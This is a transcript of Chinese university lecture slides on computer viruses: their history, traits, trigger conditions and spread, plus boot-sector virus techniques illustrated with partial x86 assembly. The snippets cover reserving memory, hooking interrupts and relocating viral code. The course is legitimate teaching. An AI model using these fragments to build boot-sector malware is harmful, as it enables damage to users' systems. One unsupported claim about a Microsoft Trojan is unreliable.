中国科学技术大学 肖 明 军 xiaomj@ustc.edu.cn 《网络信息安全》 中国科学技术大学 肖 明 军 xiaomj@ustc.edu.cn.

Slides:



Advertisements
Similar presentations
LSF系统介绍 张焕杰 中国科学技术大学网络信息中心
Advertisements

基于解释性语言的手机跨平台架构 Sloan Yi. Qt MTK.
Oracle数据库 Oracle 子程序.
C++中的声音处理 在传统Turbo C环境中,如果想用C语言控制电脑发声,可以用Sound函数。在VC6.6环境中如果想控制电脑发声则采用Beep函数。原型为: Beep(频率,持续时间) , 单位毫秒 暂停程序执行使用Sleep函数 Sleep(持续时间), 单位毫秒 引用这两个函数时,必须包含头文件
在PHP和MYSQL中实现完美的中文显示
计算机基础知识 丁家营镇九年制学校 徐中先.
Kvm异步缺页中断 浙江大学计算机体系结构实验室 徐浩.
LSF系统介绍 张焕杰 中国科学技术大学网络信息中心
Hadoop I/O By ShiChaojie.
第二讲 搭建Java Web开发环境 主讲人:孙娜
中国科学技术大学 肖 明 军 《网络信息安全》 中国科学技术大学 肖 明 军
存储系统.
大学计算机基础 典型案例之一 构建FPT服务器.
走进编程 程序的顺序结构(二).
辅导课程六.
网络常用常用命令 课件制作人:谢希仁.
第11章:一些著名开源软件介绍 第12章:服务安装和配置 本章教学目标: 了解当前一些应用最广泛的开源软件项目 搭建一个网站服务器
第一单元 初识C程序与C程序开发平台搭建 ---观其大略
Windows网络操作系统管理 ——Windows Server 2008 R2.
Windows网络操作系统管理 ——Windows Server 2008 R2.
第十章 IDL访问数据库 10.1 数据库与数据库访问 1、数据库 数据库中数据的组织由低到高分为四级:字段、记录、表、数据库四种。
以ISI平台为例,为您演示一下如何在Endnote文献中查看该文献的References
第17章 网站发布.
本节内容 模拟线程切换 视频提供:昆山滴水信息技术有限公司 官网地址: 论坛地址: QQ交流 :
逆向工程-汇编语言
CPU结构和功能.
第四章 附件 (应用程序软件包).
中国科学技术大学计算机系 陈香兰(0551- ) Spring 2009
Windows 7 的系统设置.
YMSM D-PACK 安装手册 作成者:D-PACK维护组(YMSLx) 作成日:
用event class 从input的root文件中,由DmpDataBuffer::ReadObject读取数据的问题
宁波市高校慕课联盟课程 与 进行交互 Linux 系统管理.
宁波市高校慕课联盟课程 与 进行交互 Linux 系统管理.
SOA – Experiment 2: Query Classification Web Service
第二章 登录UNIX操作系统.
专题作业.
C语言程序设计 主讲教师:陆幼利.
简单介绍 用C++实现简单的模板数据结构 ArrayList(数组, 类似std::vector)
本节内容 随机读取 视频提供:昆山爱达人信息技术有限公司.
第四章 团队音乐会序幕: 团队协作平台的快速创建
VisComposer 2019/4/17.
实验七 安全FTP服务器实验 2019/4/28.
计算机网络与网页制作 Chapter 07:Dreamweaver CS5入门
本节内容 Win32 API中的宽字符 视频提供:昆山爱达人信息技术有限公司 官网地址: 联系QQ: QQ交流群 : 联系电话:
成绩是怎么算出来的? 16级第一学期半期考试成绩 班级 姓名 语文 数学 英语 政治 历史 地理 物理 化学 生物 总分 1 张三1 115
iSIGHT 基本培训 使用 Excel的栅栏问题
本节内容 文件系统 视频提供:昆山爱达人信息技术有限公司 官网地址: 联系QQ: QQ交流群 : 联系电话:
多层循环 Private Sub Command1_Click() Dim i As Integer, j As Integer
魏新宇 MATLAB/Simulink 与控制系统仿真 魏新宇
Touch Github = Touch the World
GIS基本功能 数据存储 与管理 数据采集 数据处理 与编辑 空间查询 空间查询 GIS能做什么? 与分析 叠加分析 缓冲区分析 网络分析
本节内容 C语言的汇编表示 视频提供:昆山爱达人信息技术有限公司 官网地址: 联系QQ: QQ交流群 : 联系电话:
第9章 多媒体技术 掌握 Windows 画图工具的基本操作; 掌握 Windows 音频工具进行音频播放;
Python 环境搭建 基于Anaconda和VSCode.
本节内容 Windows线程切换_时钟中断切换 视频提供:昆山滴水信息技术有限公司 官网地址: 论坛地址: QQ交流 :
基于列存储的RDF数据管理 朱敏
C++语言程序设计 C++语言程序设计 第一章 C++语言概述 第十一组 C++语言程序设计.
本节内容 动态链接库 视频提供:昆山爱达人信息技术有限公司 官网地址: 联系QQ: QQ交流群 : 联系电话:
第8章 创建与使用图块 将一个或多个单一的实体对象整合为一个对象,这个对象就是图块。图块中的各实体可以具有各自的图层、线性、颜色等特征。在应用时,图块作为一个独立的、完整的对象进行操作,可以根据需要按一定比例和角度将图块插入到需要的位置。 2019/6/30.
本节内容 进程 视频提供:昆山爱达人信息技术有限公司 官网地址: 联系QQ: QQ交流群 : 联系电话:
第四章 UNIX文件系统.
第十七讲 密码执行(1).
FVX1100介绍 法视特(上海)图像科技有限公司 施 俊.
创建、启动和关闭Activity 本讲大纲: 1、创建Activity 2、配置Activity 3、启动和关闭Activity
使用Fragment 本讲大纲: 1、创建Fragment 2、在Activity中添加Fragment
入侵检测技术 大连理工大学软件学院 毕玲.
实验六、COM类型病毒分析实验 实验开发教师: 刘乃琦 谌黔燕.
多个Activity的使用 本讲大纲: 1、使用Bundle在Activity之间交换数据 2、调用另一个Activity并返回结果
JUDDI安装手册.
百万行、千万行数据查询教程 老黄牛.
Presentation transcript:

中国科学技术大学 肖 明 军 xiaomj@ustc.edu.cn 《网络信息安全》 中国科学技术大学 肖 明 军 xiaomj@ustc.edu.cn

计算机病毒概述 计算机病毒原理 计算机病毒编制的关键技术 蠕虫 木马 病毒对抗技术 第8章 计算机病毒 计算机病毒概述 计算机病毒原理 计算机病毒编制的关键技术 蠕虫 木马 病毒对抗技术

计算机病毒概述 3

概述 1 计算机病毒定义 2 计算机病毒的特征 3 计算机病毒的历史 4 计算机病毒的分类 4

名称的由来 由生物医学上的“病毒”一词借用而来 与生物医学上“病毒”的异同 同:都具有传染性、流行性、针对性等 异:不是天生的,而是人为编制的具有特殊功能的程序 “计算机病毒”一词最早出现在美国作家Thomas J.Ryan于1977年出版的科幻小说他在书中虚构了一种能够自我复制、自我传播的计算机程序,并且给它起了一个奇怪的名字——计算机病毒。他可能作梦也没有想到过,不到十年,他的幻想就变成了严酷的现实。 5

潘多拉的盒子 1983年,美国的一个名叫旨雷德科恩的博士研究生,作了一篇关于计算机病毒的博士论文,论文的研究内容是:电脑程序能否自我繁殖和进入其它程序。其本意是想检验一个电脑程序能不能改变、影响另一个程序。检验结果证明,这是可行的,一个程序只要编得巧妙完全可以破坏、改变另一个程序。于是,这位研究生顺利通过了答辩,获得了博士学位。 但是,这位博士论文的通过,无意间打开了一个“潘多拉的盒子”放出了一个真正的恶魔,从此,计算机世界就永无宁日了。 6

计算机病毒定义 广义的定义:凡能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒(Computer Virus)。 1994年2月18日,我国正式颁布实施了《中华人民共和国计算机信息系统安全保护条例》,在《条理》第28条中对计算机病毒的定义为:“指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能够自我复制的一组计算机指令或者程序代码”。 此定义具有法律性、权威性。 7

CIH病毒 CIH作者陈盈豪 CIH病毒的签名 8

骇人听闻的女鬼病毒 恐怖的图片和音乐 9

白雪公主病毒 巨大的黑白螺旋占据了屏幕位置,使计算机使用者无法进行任何操作! 10

我国计算机用户病毒感染率 11

计算机用户感染病毒的次数 12

最有破坏力的病毒 1. CIH (1998年) 2.梅利莎 (Melissa,1999年) 感染 Win95/98 中的可行性文件, 这种病毒在Windows环境下传播, 其实时性和隐蔽性都特别强, 变种可以重写 BIOS. 大约在世界范围内造成了两千万到八千万美元的损失. 2.梅利莎 (Melissa,1999年)  Melissa病毒是一种迅速传播的宏病毒, 它作为电子邮件的附件进行传播, 尽管Melissa病毒不会毁坏文件或其它资源, 但是它可能会使企业或其它邮件服务端程序停止运行, 因为它发出大量的邮件形成了极大的电子邮件信息流. 1999年3月26日爆发, 感染了 15%-20% 的商业电脑, 带来了三千万到六千万美元的损失. 13

最有破坏力的病毒 3. 爱虫 (I love you, 2000年) 4. 红色代码 (Code Red, 2001年) 和 Melissa 一样通过电子邮件传播, 而其破坏性要比 Melissa 强的多, 可以删除本地部分图片和文本, 大约造成了一千万到一千五百万美元的损失. 4. 红色代码  (Code Red, 2001年)  Code Red 是一种蠕虫病毒, 本质上是利用了缓存区溢出攻击方式, 使用服务器的端口80进行传播, 而这个端口正是Web服务器与浏览器进行信息交流的渠道. 与其它病毒不同的是, Code Red 并不将病毒信息写入被攻击服务器的硬盘, 它只是驻留在被攻击服务器的内存中. 大约在世界范围内造成了二百八十万美元的损失. 14

计算机病毒的表现现象 2.运行速度明显变慢。 3.打印和通讯发生异常。 4.系统文件的时间、日期、大小发生变化。 5.磁盘空间迅速减少。 1.平时运行正常的计算机突然经常性无缘无故地死机。 2.运行速度明显变慢。 3.打印和通讯发生异常。 4.系统文件的时间、日期、大小发生变化。 5.磁盘空间迅速减少。 6.收到陌生人发来的电子邮件。 8.硬盘灯不断闪烁。 9.计算机不识别硬盘。 10.操作系统无法正常启动。 11.部分文档丢失或被破坏。 12.网络瘫痪。 15

2 计算机病毒的特性 计算机病毒也是计算机程序,有着生物病毒相似的特性,病毒驻留在受感染的计算机内,并不断传播和感染可连接的系统,在满足触发条件时,病毒发作,破坏正常的系统工作,强占系统资源,甚至损坏系统数据。 1. 传染性 5. 针对性 9. 非授权性 2. 潜伏性 6. 隐蔽性 3. 可触发性 7. 衍生性 4. 破坏性 8. 寄生性 16

传染性 传染性是病毒的基本特征。病毒通过修改磁盘扇区信息或文件内容,并把自身嵌入到一切符合其传染条件的未受到传染的程序之上,实现自我复制和自我繁殖,达到传染和扩散的目的。被感染的程序和系统将成为新的传染源,在与其它系统和设备接触时继续进行传播。 其中,被嵌入的程序叫做宿主程序。病毒的传染可以通过各种移动存储设备,如软盘、移动硬盘、U盘、可擦写光盘、手机、PDA等;病毒可以通过有线网络、无线网络、手机网络等渠道迅速波及全球。例如,“爱虫”病毒在两天内迅速传播到世界的主要计算机网络,并造成欧、美国家的计算机网络瘫痪。 17

潜伏性 病毒在进入系统之后通常不会马上发作,可长期隐藏在系统中,除了传染外不做什么破坏,以提供足够的时间繁殖扩散。病毒在潜伏期,不破坏系统,因而不易被用户发现。潜伏性越好,其在系统中的存在时间就会越长,病毒的传染范围就会越大。病毒只有在满足特定触发条件时才启动其破坏模块。例如,PETER-2病毒在每年的2月27日会提三个问题答错后会将硬盘加密。著名CIH病毒在每月的26日发作。 18

可触发性 病毒因某个事件或数值的出现,激发其进行传染,或者激活病毒的表现部分或破坏部分的特性称为可触发性。计算机病毒一般都有一个或者多个触发条件,病毒的触发机制用来控制感染和破坏动作的频率。病毒具有的预定的触发条件可能是敲入特定字符,使用特定文件,某个特定日期或特定时刻,或者是病毒内置的计数器达到一定次数等。病毒运行时,触发机制检查预定条件是否满足,满足条件时,病毒触发感染或破坏动作,否则继续潜伏。 19

破坏性 占用CPU资源,额外占用或消耗内存空间,或禁止分配内存、蚕食内存,导致一些大型程序执行受阻,使系统性能下降。 干扰系统运行,例如不执行命令、干扰内部命令的执行、虚发报警信息、打不开文件、内部栈溢出、占用特殊数据区、时钟倒转、重启动、死机、文件无法存盘、文件存盘时丢失字节、内存减小、格式化硬盘等。 攻击CMOS。CMOS是保存系统参数(如系统时钟、磁盘类型、内存容量等)的重要场所。有的病毒(如CIH病毒)可以通过改写CMOS参数,破坏系统硬件的运行。 攻击系统数据区。硬盘的主引导扇区、boot(引导)扇区、FAT(文件分配)表、文件目录等,是系统重要的数据,这些数据一旦受损,将造成相关文件的破坏。 20

破坏性 干扰外部设备运行,如 干扰键盘操作。如EDV病毒能封锁键盘,使按任何键都没有反应;还有病毒产生换字、抹掉缓存区字符、输入紊乱等。 干扰屏幕显示。如小球病毒产生跳动的小白点;瀑布病毒使显示的字符像雨点一样一个个落到屏幕底部等。 干扰声响。如感染Attention病毒后,每按一键,喇叭就响一声;Yankee Doodle病毒在每天下午5时整会播出歌曲“Yankee Doodle”;救护车病毒(Ambulance Car)会在屏幕上出现一辆鸣着警笛来回跑的救护车。 干扰打印机。如Azsua病毒可以封锁打印机接口LPT1,当使用打印机时,会发出缺纸的假报警;1024SBC病毒会使打印机出现断断续续的打印失常;Typo-COM病毒会更换字符。 21

破坏性 攻击文件。现在发现的病毒中,大多数是文件型病毒。这些病毒会使染毒文件的长度、文件存盘时间和日期发生变化。例如,百年病毒、4096病毒等。 劫取机密数据。例如,微软公司在它的Microsoft Network中加入一种特洛伊木马程序,会把用户系统软件和硬件的完整清单送回到微软公司。 破坏网络系统的正常运行。例如发送垃圾邮件、占用带宽,使网络拒绝服务等。 有些病毒的破坏作用往往是多样的。 22

针对性 病毒是针对特定的计算机、操作系统、服务软件、甚至特定的版本和特定模版而设计的。例如:小球病毒是针对IBM PC机及其兼容机上的DOS操作系统的。“CodeBlue(蓝色代码)”专门攻击WINDOWS 2000操作系统。英文Word中的宏病毒模板在同一版本的中文Word中无法打开而自动失效。2002年1月8日出现的感染SWF文件的SWF.LFM.926病毒由于依赖Macro-media独立运行的Flash播放器,而不是依靠安装在浏览器中插件,使其传播受到限制。 23

隐蔽性 大部分病毒都设计得短小精悍,一般只有几百K甚至几十K字节,并且,病毒通常都附在正常程序中或磁盘较隐蔽的地方(如引导扇区),或以隐含文件形式出现,目的是不让用户发现它的存在。如果不经过代码分析,病毒程序与正常程序是不容易区别开的。病毒在潜伏期并不恶意破坏系统工作,受感染的计算机系统通常仍能正常运行,用户不会感到任何异常,从而隐藏病毒的存在,使病毒可以在不被察觉的情况下,感染尽可能多的计算机系统。 24

隐蔽性(续) 传染的隐蔽性。大多数病毒在进行传染时速度极快,一般不具有外部表现,不易被发现。PC机对DOS文件的存取速度可达每秒几百KB以上,几百字节的病毒可在转瞬间附着在正常的程序之中,不易被人察觉。 存在的隐蔽性。病毒一般都附着在正常程序之中,正常程序被计算机病毒感染后,其原有功能基本上不受影响,使病毒在正常程序的工作过程中不断得到运行,传染更多的系统和资源,与正常程序争夺系统的控制权和磁盘空间,不断地破坏正常的系统。 25

衍生性 很多病毒使用高级语言编写,如“爱虫”是脚本语言病毒,“美丽杀”是宏病毒, 通过分析计算机病毒的结构可以了解设计者的设计思想,从而衍生出各种新的计算机病毒,称为病毒变种。这就是计算机病毒的衍生性。变种病毒造成的后果可能比原版病毒更为严重。“爱虫”病毒在十几天中,出现三十多种变种。“美丽杀”病毒也有多种变种,并且此后很多宏病毒都使用了“美丽杀”的传染机理。这些变种的主要传染和破坏的机理与母体病毒基本一致,只是改变了病毒的外部表象。 26

寄生性 病毒的寄生场所 寄生是病毒的重要特征。计算机病毒一般寄生在以下地方: 寄生在可执行程序中。一旦程序执行,病毒就被激活,病毒程序首先被执行并常驻内存,然后置触发条件。感染的文件被执行后,病毒就会趁机感染下一个文件。 寄生在硬盘的主引导扇区中。这类病毒也称引导型病毒。任何操作系统都有自举过程,自举依靠引导模块进行,而操作系统的引导模块总是放在某个固定位置,这样系统每次启动就会在这个固定的地方来将引导模块读入内存,紧接着就执行它,来把操作系统读入内存,实现控制权的转接。引导型病毒程序就是利用这一点,它自身占据了引导扇区而将原来的引导扇区的内容和病毒的其他部分放到磁盘的其他空间,并将这些扇区标志为坏簇,不可写其他信息。这样,系统的一次初始化,就激活一次病毒,它首先将自身拷贝到内存,等待触发条件到来。 27

寄生性 计算机病毒的寄生方式 替代法:病毒程序用自己的全部或部分代码,替代磁盘引导扇区或文件中的全部或部分内容。 引导型病毒按其寄生对象,可以分为MBR(主引导区)病毒和BR(引导区)病毒。MBR病毒也称分区病毒,这类病毒寄生在硬盘分区主引导程序所占据的硬盘0头0柱面第1扇区,典型的有Stoned(大麻)病毒、2708病毒等。BR病毒则寄生在硬盘逻辑0扇区或软盘0扇区(即0面0道的第1扇区),典型的有Brain病毒、小球病毒等。 计算机病毒的寄生方式 替代法:病毒程序用自己的全部或部分代码,替代磁盘引导扇区或文件中的全部或部分内容。 链接法:病毒程序将自身代码作为正常程序的一部分与原有正常程序链接在一起。链接的位置可能在正常程序的首部、尾部或中间。 28

非授权执行性 用户在调用一个程序时,常常就把系统的控制权交给这个程序并给它分配相应的系统资源,使程序的执行对用户是透明的。计算机病毒具有正常程序所具有的一切特性,它隐蔽在合法程序和数据中;当用户运行正常程序时,病毒伺机取得系统的控制权,先于正常程序执行,并对用户呈透明状态。 29

其他特性 随着计算机软件和网络技术的发展,网络时代的病毒又具有很多新的特点如主动通过网络和邮件系统传播、传播速度极快、变种多;病毒不但能够复制自身给其他的程序,而且具有了蠕虫的特点,可以利用网络进行传播;具有了黑客程序的功能,一旦侵入计算机系统后,病毒控制可以从入侵的系统中窃取信息,远程控制这些系统。病毒的功能呈现多样化,也更具有危害性。 30

3 计算机病毒分类 1. 按照计算机病毒的危害程度分类 2. 按照传染方式分类 3. 按照计算机病毒的寄生方式分类 4. 其他一些分类方式 31

按照计算机病毒的危害程度分类 良性病毒是指不对计算机系统和数据进行彻底破坏的病毒。这类病毒占用系统资源,会导致整个系统运行效率降;与操作系统和应用程序争抢CPU的控制权,导致整个系统死锁,妨碍正常的系统操作。在多个病毒交叉感染时也可造成系统崩溃。如小球病毒、1575/1591病毒、救护车病毒、扬基病毒、Dabi病毒。 恶性病毒是指能够损伤和破坏计算机系统及其数据,在其传染或发作时对系统产生彻底破坏作用的病毒。目的明确,破坏数据、删除文件、加密磁盘、甚至格式化磁盘。米开朗基罗病毒发作时,硬盘的前17个扇区将被彻底破坏,使整个硬盘上的数据无法被恢复。 32

按照传染方式分类 引导型病毒:主要通过感染软盘、硬盘上的引导扇区或改写磁盘分区表(FAT)来感染系统,引导型病毒是一种开机即可启动的病毒,优先于操作系统而存在。该病毒几乎常驻内存,激活时即可发作,破坏性大,早期的计算机病毒大多数属于这类病毒。 文件型病毒:它主要是以感染COM、EXE等可执行文件为主,被感染的可执行文件在执行的同时,病毒被加载并向其它正常的可执行文件传染。病毒以这些可执行文件为载体,当运行可执行文件时就可以激活病毒。 宏病毒:宏病毒是一种寄存于文档或模板的宏中的计算机病毒,是利用宏语言编写的。 33

按照计算机病毒的寄生方式分类 源码型病毒是用高级语言编写的,攻击用高级语言编写的程序。这种病毒若不进行汇编、链接,就无法传染扩散。 嵌入型病毒是将自身嵌入到现有程序中,把计算机病毒的主体程序与其攻击的对象以插入的方式链接。技术难度较大,一旦侵入后也较难消除。 外壳型病毒寄生在宿主程序的前面或后面,并修改程序的第一条执行指令,使病毒先于宿主程序执行。易于编写,易于发现,通过文件的大小判别。 34

其他分类方式 按照攻击的操作系统可分为:攻击DOS操作系统的、攻击Windows系统的、攻击UNIX系统的、攻击OS/2系统的病毒。 按照计算机病毒激活的时间可分为:定时发作的病毒和不由时钟来激活的随机病毒。 按照传播媒介可分为:以磁盘为载体的单机病毒和以网络为载体的网络病毒。 按攻击的机型还可将病毒分为:攻击微型机的病毒、攻击小型机的病毒和攻击工作站的病毒。 35

计算机病毒的传播 第一种途径:通过不可移动的计算机硬件设备进行传播。设备中有计算机的专用ASIC(Application Specific Integrated Circuit,特定用途集成电路)芯片和硬盘等。这种病毒极少,破坏力极强。 第二种途径:通过移动存储设备传染。如软盘、U盘、可擦写光盘、MP3、存储卡、记忆棒等。 第三种途径:通过计算机网络传播,是传播的主流途径,也是危害最大的传播途径。 第四种途径:通过点对点通信系统和无线通道传播。 36

病毒传播的主要途径 37

病毒的发展趋势 黑客、木马和间谍软件数量大幅度增长 Botnet(僵尸网络)日益严重 IM(即时通讯)和P2P软件成为传播病毒主要途径 病毒的目的性愈来愈强 手机病毒提高防范程度 警惕利用IM等应用软件漏洞自动传播的病毒 网页仿冒和网址嫁接成为新的网络公害 38

计算机病毒原理 39

计算机病毒的结构 计算机病毒的种类很多,但是它们的主要结构是类似的,一般需要包含4部分:引导部分、传染部分、表现部分和破坏部分。 (1)引导部分:就是病毒程序的初始化部分。它的作用是将病毒的主体加载到内存,为传染部分做准备(如驻留内存、修改中断、修改高端内存、保存原中断向量等操作)。 (2)传染部分:作用是将病毒代码复制到传染目标上去。传染需要一定的条件。不同类型的病毒在传染方式、传染条件上各不相同。进行传播之前,先要判断传染条件。 (3)表现部分:作用是在被传染系统上表现出特定现象。大部分病毒都是在一定条件下才会触发表现部分的。 (4)破坏部分:作用是产生破坏被传染系统的行为。 40

计算机病毒的引导过程 计算机病毒的引导过程一般分为三步:驻留内存、窃取控制权和恢复系统功能。 1. 驻留内存 2. 窃取控制权 病毒要发挥其破坏作用,多数要驻留内存。为了驻留内存,就必须开辟内存空间或覆盖系统占用的部分内存空间。 2. 窃取控制权 计算机病毒驻留内存后,接下来的工作是取代或扩充系统原有功能,并窃取系统的控制权。 3. 恢复系统功能 计算机病毒窃取系统控制权后,就要开始潜伏等待,即根据其设计思想,隐蔽自己,等待时机,在条件成熟时,再进行传染和破坏。然而,病毒为了隐蔽自己,驻留内存后还要恢复系统,使系统不致死机。 41

计算机病毒的触发机制 下面例举一些病毒的触发(激活)条件。 (1)日期/时间触发:计算机病毒读取系统时钟,判断是否激活。例如: PETER-2,在每年2月27日会提出3个问题,答错后会将硬盘加密。 Yankee Doodle,在每天下午5时发作。 “黑色星期五”,逢13日的星期五发作。 “上海一号”,在每年的三、六、九月的13日发作。 1998年2月,台湾省的陈盈豪,编写出了破坏性极大的Windows恶性病毒CIH-1.2版,并定于每年的4月26日发作破坏,然后,悄悄地潜伏在网上的一些供人下载的软件中。可是,两个月的时间,被人下载的不多,到了4月26日,病毒只在台湾省少量发作,并没引起重视。陈盈豪又炮制了CIH-1.3版,并将破坏时间设在6月26日。7月,又炮制出了CIH-1.4版。最后,他干脆将破坏时间设为每个月的26日。 42

计算机病毒的触发机制 (2)计数器触发:计算机病毒内部设定一个计数单元,对系统事件进行计数,判定是否激活。例如,2708病毒当系统启动次数达到32次时被激活,发起对串、并口地址的攻击。 (3)键盘触发:当敲入某些字符时触发(如AIDS病毒,在敲如A、I、D、S时发作)、或以击键次数(如Devil’s Dance病毒在用户第2000次击键时被触发)或组合键等为激发条件(如Invader病毒在按下Ctrl+Alt+Del键时发作)。 (4)启动触发:以系统的启动次数作为触发条件。例如Anti-Tei和Telecom病毒当系统第400次启动时被激活。 (5)感染触发:以感染文件个数、感染序列、感染磁盘数、感染失败数作为触发条件。例如,Black Monday病毒在运行第240个染毒程序时被激活;VHP2病毒每感染8个文件就会触发系统热启动操作等。 (6)组合条件触发:用多种条件综合使用,作为计算机病毒的触发条件。 43

计算机病毒的传播 计算机病毒的传播过程就是其传染过程。 病毒的传染大体上有如下三个途径: 1. 文件传染 传播病毒的文件可以分为三类: (1)可执行文件,即扩展名为.EXE,.PE,.SYS等的文件。 (2)文档文件或数据文件,例如Word文档,Exel文档,Accss数据库文件。宏病毒(Macro)就感染这些文件。 (3)Web文档,如.html文档和.htm文档。已经发现的Web病毒有HTML/Prepend和HTML/Redirect等。 44

计算机病毒的传播 2. 引导扇区传染 3. 网络及电子邮件传播 文件传染可能采用如下一种方式: (1)驻留(Resident)复制:复制病毒装入内存后,发现另一个系统运行的程序文件后进行传染。 (2)非驻留(Nonrresident)复制:病毒选择磁盘上一个或多个文件,不等它们装入内存,就直接进行感染。 2. 引导扇区传染 引导扇区病毒在系统初始化时自动装入内存,然后简单地将指令指针(指令计数器的内容)修改到一个存储系统指令的新的位置。于是便以普通方式启动,而病毒已经驻留在了内存。所以,不需要用户执行磁盘上任何被感染的程序,只要有访问磁盘的操作,就可以进行复制。 3. 网络及电子邮件传播 与文件传播和引导扇区传播不同,由于数据共享和相互协作网络传播的是病毒直接通过网络传染到目标机系统。 45

计算机病毒编制的关键技术 46

引导型病毒编制的关键技术 DOS系统的结构 DOS系统由以下4部分组成: 引导记录(Boot Record)。用于将IO.SYS模块装入内存。 IO.SYS(DOS的基本输入输出模块BIOS),由下面两块组成: 系统初始化程序SYSINIT,完成初始化工作,主要包括:确定系统设备配置和内存容量;初始化串、I/O并口;计算后面模块的装入位置并将MSDOS.SYS和COMMAND.COM装入内存;设置系统参数,加载设置驱动程序。 标准字符和块设备驱动程,用于支持基本输入输出操作。 MSDOS.SYS(DOS的内核),提供应用程序管理、内存管理、文件管理等。 COMMAND.COM(DOS的外壳),是用户与操作系统的接口。 47

引导型病毒编制的关键技术 2. DOS磁盘的区域分配 DOS格式化磁盘由4个区域组成:引导扇区(Boot Area)——硬盘含有主引导扇区、文件分配表(FAT)、根目录表(Root Directory Table,FDT)和文件数据区(Data Area)。 48

引导型病毒编制的关键技术 (1)主引导扇区,位于硬盘的0柱面0磁道1扇区,存放有主引导记录(Mian BootRecord,MBR)和4个分区表(Disk Partition Table, DPT)。下图为主引导扇区的结构。 区域 信息内容 0000H ~ 00BAH 主引导记录启动程序 008BH ~ 00D9H 主引导记录启动字符串 01DAH ~ 01BDH 空闲区 01BEH ~ 01CDH 分区1结构信息 01CEH ~ 01DDH 分区1结构信息 01DEH ~ 01FDH 分区1结构信息 01EEH ~ 01FDH 分区1结构信息 01FEH ~ 01FFH 55AAH主引导记录有效标志 MBR的作用是检查分区表是否正确以及确定哪个分区为活动分区(要将控制权交给的操作系统所在分区),并在程序结束时把该分区的启动程序(即操作系统引导扇区)调入内存加以执行。 49

引导型病毒编制的关键技术 (2)引导扇区位于逻辑0扇区处(即软盘的0面0道1扇区,硬盘的DOS分区的1扇区)。启动PC 机时,系统首先对硬件设备进行测试,成功后进入自举程序INT 19H (中断服务程序INT 19H),将引导记录调入内存的0000H~7C00H处,并把控制权交给它。这时,引导记录将检查启动盘上是否有DOS系统,即根目录中的前两个文件是否为IO.SYS和MSDOS.SYS。若是,则把文件IO.SYS读入到内存的70H~0H处,并把主控制权交给IO.SYS;否则给出非系统盘的错误信息。 50

引导型病毒编制的关键技术 3. DOS的自举过程 在这个自举过程中,系统的控制权按照下面的顺序转移: ROMBIOS→DOS引导程序→IO.SYS→MSDOS.SYS→COMMAND.COM→用户 51

引导型病毒编制的关键技术 4. 引导型病毒的传染过程 引导型病毒制驻留在硬盘的主引导分区或硬/软盘的DOS引导分区的病毒。它的感染过程分两大步:装入内存和攻击。 1)装入内存过程: 系统开机后,进入系统检测,检测正常后,从0面0道1扇区,即逻辑0扇区读取信息到内存的0000~7C00处: 正常时,磁盘0面0道1扇区,即逻辑0扇区存放的是boot引导程序; 操作系统感染了引导扇区病毒时,磁盘0面0道1扇区,即逻辑0扇区存放的是病毒引导部分,boot引导程序被放到其他地方。例如,大麻病毒在软盘中将原DOS引导扇区搬移到0道1面3扇区,在硬盘中将原DOS引导扇区搬移到0道0面7扇区;香港病毒则将原DOS引导扇区搬移到39磁道第8扇区;Michelangelo病毒在高密度软盘上,是第27扇区,在硬盘上是0道0面7扇区。 52

引导型病毒编制的关键技术 2)攻击过程 病毒程序发现有可攻击的对象后,要进行下列工作: 系统开始运行病毒引导部分,将病毒的其他部分读入到内存的某一安全区,常驻内存,监视系统的运行。 病毒修改INT 13H (磁盘I/O中断)中断服务处理程序的入口地址,使之指向病毒控制模块并执行,以便必要时接管磁盘操作的控制权。 病毒程序全部读入后,接着读入正常boot内容到内存0000:7C00H处,进行正常的启动过程(这时病毒程序已经全部读入内存,不再需要病毒的引导部分)。 病毒程序伺机等待随时感染新的系统盘或非系统盘。 2)攻击过程 病毒程序发现有可攻击的对象后,要进行下列工作: 将目标盘的引导扇区读入内存,判断它是否感染了病毒。 满足感染条件时,将病毒的全部或一部分写入boot区,把正常的磁盘引导区程序写入磁盘特定位置。 返回正常的INT 13H中断服务处理程序,完成对目标盘的传染过程。 53

引导型病毒编制的关键技术 5. 引导型病毒的编制技术 个人计算机开机后,会先执行主引导区代码这一机制,给引导型病毒窃取第一控制权提供了机会。但是引导型病毒窃取控制权的时间只能是短暂的,然后就要引导DOS操作系统,否则就将败露。在窃取控制权的这段时间内,病毒的引导部分主要要做下列事情。 (1)为病毒代码申请内存空间,为此要尽量减少DOS的存储空间。相关代码如下: … xor ax,ax move ss,ax ;置堆栈段寄存器为0 mov sp,7c00h ;置堆栈指示器寄存器为7c00h mov ds,ax ;置数据段寄存器为0 mov ax,word ptr ds:[413h] ; 此处存放最大内存空间0000:0413 sub ax,4 ; 给病毒申请4kB的内存空间 mov ds:[413h],ax 54

引导型病毒编制的关键技术 (2)修改传播需要的中断向量。相关代码如下: … begin proc far push ds ; ax置0后,ds:ax进栈,确保返回dos时恢复中断向量 sub ax,ax ; push ax mov ax,code ; 将代码段地址装入ds,es mov ds,ax mov es,ax mov ax, seg ctrl_c ; 修改向量,ds:dx指向ctrl_c中断子程序 mov ds, ax ; mov dx, offset ctrl_c mov ah,25h ; 调用号ah=25H,表示设置中断向量 mov al,23h ; 被修改中断向量号al=23H int 21h ; 系统调用指令 55

引导型病毒编制的关键技术 (3)读入病毒的其他部分,进行病毒拼装(在内存高端):先从已经标记的簇中某扇区读入病毒的其他部分(这些簇往往被标记为坏簇),然后再读入原引导记录到0000:7C00H处,跳转执行。相关代码如下: mov cl,06h shl ax,cl ; (ax)=8F80 add ax,0840h ; (ax)=97c0 mov es,ax mov si,7c00h ; (si)=7c00 mov di,si mov cx,0100h repz movsw ; 将病毒移到高端 v2: push ax pop ds push ax mov bx,7c4bh push bx ret ; 指令执行转入高端内存 call v3 56

引导型病毒编制的关键技术 v3:xor ah,ah ; (ah)=0 int 13h ; 13H中断调用 mov ah,80h and byte ptr ds:[7df8h],al ; v4:mov bx,word ptr ds:[7df9h] ;读入病毒的其他部分 push cs pop ax ; (ax)=97c0 sub ax,20h ; (ax)=97c0 move s, ax ; (es)=97c0 call v9 mov bx,word ptr ds:[7df9h] ; 加载逻辑扇区号 inc bx ; bx++是引导扇区 mov ax,0ffc0h ; ffc0:8000=0000:7c00读入原引导分区内容 57

